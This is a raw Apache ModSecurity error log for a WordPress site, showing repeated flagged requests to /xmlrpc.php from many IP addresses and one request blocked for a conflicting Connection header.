[Tue Apr 14 12:11:54.139557 2026] [:error] [pid 35628:tid 35641] [client 123.30.233.48:54312] [client 123.30.233.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.30.233.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2-iufPm-ozGuwCWXLEsgAAAAk"]
[Tue Apr 14 12:15:29.311808 2026] [:error] [pid 35630:tid 35708] [client 67.205.159.76:19492] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2_YTer0pVFxOiOauXpGwAAAJY"]
[Tue Apr 14 12:15:37.057615 2026] [:error] [pid 35630:tid 35699] [client 209.136.158.254:58754] [client 209.136.158.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.136.158.254, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2_aTer0pVFxOiOauXpJQAAAI0"]
[Tue Apr 14 12:17:39.531707 2026] [:error] [pid 35629:tid 35660] [client 149.202.76.92:32902] [client 149.202.76.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.76.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2_4zY8VahzC1YJBSjZsgAAAEE"]
[Tue Apr 14 12:22:15.925824 2026] [:error] [pid 37226:tid 37243] [client 143.198.119.177:42096] [client 143.198.119.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.119.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3A95OA5-IQ0IVmQCoUbwAAAU8"]
[Tue Apr 14 12:45:01.776419 2026] [:error] [pid 35629:tid 35665] [client 89.163.159.173:46370] [client 89.163.159.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.163.159.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3GTTY8VahzC1YJBSjdLAAAAEY"]
[Tue Apr 14 12:46:28.965046 2026] [:error] [pid 35713:tid 35723] [client 107.172.133.160:48418] [client 107.172.133.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.172.133.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3GpK6-hhx6ZepqOSlF5QAAAMc"]
[Tue Apr 14 12:49:14.550568 2026] [:error] [pid 35628:tid 35632] [client 45.113.226.217:51528] [client 45.113.226.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.113.226.217, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3HSufPm-ozGuwCWXLIvAAAAAA"]
[Tue Apr 14 12:50:08.168986 2026] [:error] [pid 4902:tid 4912] [client 116.193.73.128:47261] [client 116.193.73.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.193.73.128, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3HgIv8vJvl9lGy39hU9wAAAYg"]
[Tue Apr 14 12:55:50.665569 2026] [:error] [pid 35629:tid 35669] [client 5.56.58.240:44964] [client 5.56.58.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.56.58.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3I1jY8VahzC1YJBSje3AAAAEo"]
[Tue Apr 14 13:02:26.877976 2026] [:error] [pid 35630:tid 35706] [client 51.210.113.223:39942] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3KYjer0pVFxOiOauXx_QAAAJQ"]
[Tue Apr 14 13:14:39.574020 2026] [:error] [pid 35628:tid 35656] [client 223.233.77.246:26947] [client 223.233.77.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.77.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3NP-fPm-ozGuwCWXLPtAAAABg"]
[Tue Apr 14 13:18:35.944425 2026] [:error] [pid 35628:tid 35640] [client 155.133.132.65:33937] [client 155.133.132.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.132.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3OK-fPm-ozGuwCWXLRYgAAAAg"]
[Tue Apr 14 13:23:56.548146 2026] [:error] [pid 18776:tid 18787] [client 204.48.18.182:39030] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3PbMIjIcAYZxezzAWd0gAAAck"]
[Tue Apr 14 13:26:20.557746 2026] [:error] [pid 35629:tid 35660] [client 34.73.73.46:43858] [client 34.73.73.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.73.46, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3P_DY8VahzC1YJBSjobwAAAEE"]
[Tue Apr 14 13:30:49.272991 2026] [:error] [pid 18776:tid 18796] [client 185.225.22.51:33176] [client 185.225.22.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.225.22.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3RCcIjIcAYZxezzAWflgAAAdI"]
[Tue Apr 14 13:36:04.270381 2026] [:error] [pid 35629:tid 35666] [client 185.98.139.113:58564] [client 185.98.139.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.98.139.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3SRDY8VahzC1YJBSjukAAAAEc"]
[Tue Apr 14 13:41:39.345680 2026] [:error] [pid 35630:tid 35707] [client 43.138.68.113:44528] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ad3Tkzer0pVFxOiOauUCuwAAAJU"]
[Tue Apr 14 13:44:21.314000 2026] [:error] [pid 18776:tid 18788] [client 203.154.11.19:36640] [client 203.154.11.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.154.11.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3UNcIjIcAYZxezzAWjawAAAco"]
[Tue Apr 14 13:46:00.847217 2026] [:error] [pid 35629:tid 35662] [client 20.163.27.0:53568] [client 20.163.27.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.163.27.0, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3UmDY8VahzC1YJBSjyMQAAAEM"]
[Tue Apr 14 13:46:10.999352 2026] [:error] [pid 35629:tid 35671] [client 152.53.241.40:33064] [client 152.53.241.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.241.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3UojY8VahzC1YJBSjySQAAAEw"]
[Tue Apr 14 13:46:14.253806 2026] [:error] [pid 35629:tid 35668] [client 85.128.143.129:40260] [client 85.128.143.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.129, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3UpjY8VahzC1YJBSjyTgAAAEk"]
[Tue Apr 14 13:50:02.200473 2026] [:error] [pid 35713:tid 35732] [client 180.93.52.173:40536] [client 180.93.52.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.93.52.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3Viq6-hhx6ZepqOSlYMAAAANA"]
[Tue Apr 14 13:52:06.771505 2026] [:error] [pid 18776:tid 18799] [client 62.169.28.251:54436] [client 62.169.28.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.169.28.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3WBsIjIcAYZxezzAWlrwAAAdU"]
[Tue Apr 14 13:54:54.582655 2026] [:error] [pid 35630:tid 35705] [client 138.197.129.229:54888] [client 138.197.129.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.129.229, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3Wrjer0pVFxOiOauUKJwAAAJM"]
[Tue Apr 14 14:03:23.762396 2026] [:error] [pid 35629:tid 35671] [client 82.64.81.82:46634] [client 82.64.81.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.64.81.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3YqzY8VahzC1YJBSj5PgAAAEw"]
[Tue Apr 14 14:08:22.181160 2026] [:error] [pid 37226:tid 37237] [client 20.84.7.202:10176] [client 20.84.7.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.84.7.202, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3Z1pOA5-IQ0IVmQCothAAAAUk"]
[Tue Apr 14 14:10:17.089106 2026] [:error] [pid 35628:tid 35645] [client 104.208.160.135:43092] [client 104.208.160.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.208.160.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3aSefPm-ozGuwCWXLh8wAAAA0"]
[Tue Apr 14 14:11:01.538201 2026] [:error] [pid 35630:tid 35690] [client 63.131.146.5:34112] [client 63.131.146.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 63.131.146.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3adTer0pVFxOiOauURswAAAIQ"]
[Tue Apr 14 14:14:46.997936 2026] [:error] [pid 35629:tid 35673] [client 5.189.168.141:54334] [client 5.189.168.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.189.168.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3bVjY8VahzC1YJBSj_HAAAAE4"]
[Tue Apr 14 14:15:54.760380 2026] [:error] [pid 35630:tid 35688] [client 46.21.198.186:47214] [client 46.21.198.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.21.198.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3bmjer0pVFxOiOauUV-QAAAII"]
[Tue Apr 14 14:16:29.421427 2026] [:error] [pid 35628:tid 35643] [client 43.156.13.166:48988] [client 43.156.13.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.156.13.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3bvefPm-ozGuwCWXLk5wAAAAs"]
[Tue Apr 14 14:17:02.625695 2026] [:error] [pid 35628:tid 35655] [client 38.113.191.66:39486] [client 38.113.191.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.113.191.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3b3ufPm-ozGuwCWXLl3QAAABc"]
[Tue Apr 14 14:20:52.549830 2026] [:error] [pid 4902:tid 4914] [client 185.252.234.215:45880] [client 185.252.234.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.252.234.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3cxIv8vJvl9lGy39hmEAAAAYo"]
[Tue Apr 14 14:23:28.909554 2026] [:error] [pid 35629:tid 35682] [client 164.132.207.73:40842] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3dYDY8VahzC1YJBSgChQAAAFc"]
[Tue Apr 14 14:27:51.847324 2026] [:error] [pid 37226:tid 37231] [client 68.183.124.132:40698] [client 68.183.124.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.124.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3eZ5OA5-IQ0IVmQCowegAAAUM"]
[Tue Apr 14 14:31:51.113874 2026] [:error] [pid 18776:tid 18792] [client 185.78.209.195:54304] [client 185.78.209.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.78.209.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3fV8IjIcAYZxezzAWueQAAAc4"]
[Tue Apr 14 14:32:00.156857 2026] [:error] [pid 37226:tid 37240] [client 82.165.10.186:50324] [client 82.165.10.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.165.10.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3fYJOA5-IQ0IVmQCowwgAAAUw"]
[Tue Apr 14 14:40:37.469897 2026] [:error] [pid 18776:tid 18779] [client 213.160.71.62:43948] [client 213.160.71.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.160.71.62, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3hZcIjIcAYZxezzAWwwgAAAcE"]
[Tue Apr 14 14:43:42.360858 2026] [:error] [pid 37226:tid 37234] [client 185.199.223.39:34638] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3iHpOA5-IQ0IVmQCoyjAAAAUY"]
[Tue Apr 14 14:47:02.756846 2026] [:error] [pid 4902:tid 4914] [client 59.125.102.142:60672] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3i5ov8vJvl9lGy39hpvgAAAYo"]
[Tue Apr 14 14:57:56.632815 2026] [:error] [pid 37226:tid 37234] [client 180.181.244.244:52424] [client 180.181.244.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.181.244.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3ldJOA5-IQ0IVmQCo0JQAAAUY"]
[Tue Apr 14 14:58:16.475524 2026] [:error] [pid 35629:tid 35679] [client 144.91.66.223:57598] [client 144.91.66.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.91.66.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3liDY8VahzC1YJBSgPMQAAAFQ"]
[Tue Apr 14 15:05:14.362966 2026] [:error] [pid 35629:tid 35667] [client 82.223.70.218:33944] [client 82.223.70.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.70.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3nKjY8VahzC1YJBSgRbgAAAEg"]
[Tue Apr 14 15:08:33.586468 2026] [:error] [pid 37226:tid 37233] [client 75.127.14.16:54916] [client 75.127.14.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 75.127.14.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3n8ZOA5-IQ0IVmQCo1UQAAAUU"]
[Tue Apr 14 15:10:41.232342 2026] [:error] [pid 35628:tid 35653] [client 106.213.87.251:12659] [client 106.213.87.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.213.87.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3ocefPm-ozGuwCWXL3AQAAABU"]
[Tue Apr 14 15:10:51.437811 2026] [:error] [pid 35628:tid 35635] [client 106.213.87.251:15793] [client 106.213.87.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.213.87.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3oe-fPm-ozGuwCWXL3BQAAAAM"]
[Tue Apr 14 15:11:01.933900 2026] [:error] [pid 35628:tid 35640] [client 106.213.87.251:27304] [client 106.213.87.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.213.87.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3ohefPm-ozGuwCWXL3EAAAAAg"]
[Tue Apr 14 15:14:52.432199 2026] [:error] [pid 35630:tid 35687] [client 213.160.71.62:38244] [client 213.160.71.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.160.71.62, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3pbDer0pVFxOiOauUzvAAAAIE"]
[Tue Apr 14 15:16:53.700881 2026] [:error] [pid 35629:tid 35668] [client 54.38.195.241:37712] [client 54.38.195.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.195.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3p5TY8VahzC1YJBSgVAQAAAEk"]
[Tue Apr 14 15:16:58.669327 2026] [:error] [pid 35630:tid 35695] [client 157.66.27.30:49960] [client 157.66.27.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3p6jer0pVFxOiOauU0mQAAAIk"]
[Tue Apr 14 15:28:03.118517 2026] [:error] [pid 59987:tid 60055] [client 128.199.223.38:50480] [client 128.199.223.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.223.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3sg1Wpk-Tfi6_vLKqqmwAAAIg"]
[Tue Apr 14 15:32:01.404745 2026] [:error] [pid 59986:tid 60030] [client 108.181.199.63:57586] [client 108.181.199.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 108.181.199.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3tcZ6axKeW6bX4H7fyYwAAAEo"]
[Tue Apr 14 15:32:11.074673 2026] [:error] [pid 59987:tid 60057] [client 81.181.68.123:49340] [client 81.181.68.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.181.68.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3te1Wpk-Tfi6_vLKqsVAAAAIo"]
[Tue Apr 14 15:34:44.156785 2026] [:error] [pid 59986:tid 60035] [client 138.68.162.171:54446] [client 138.68.162.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.68.162.171, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3uFJ6axKeW6bX4H7fzHwAAAE8"]
[Tue Apr 14 15:35:50.878650 2026] [:error] [pid 59987:tid 60048] [client 167.99.182.49:52876] [client 167.99.182.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.182.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3uVlWpk-Tfi6_vLKqugQAAAIE"]
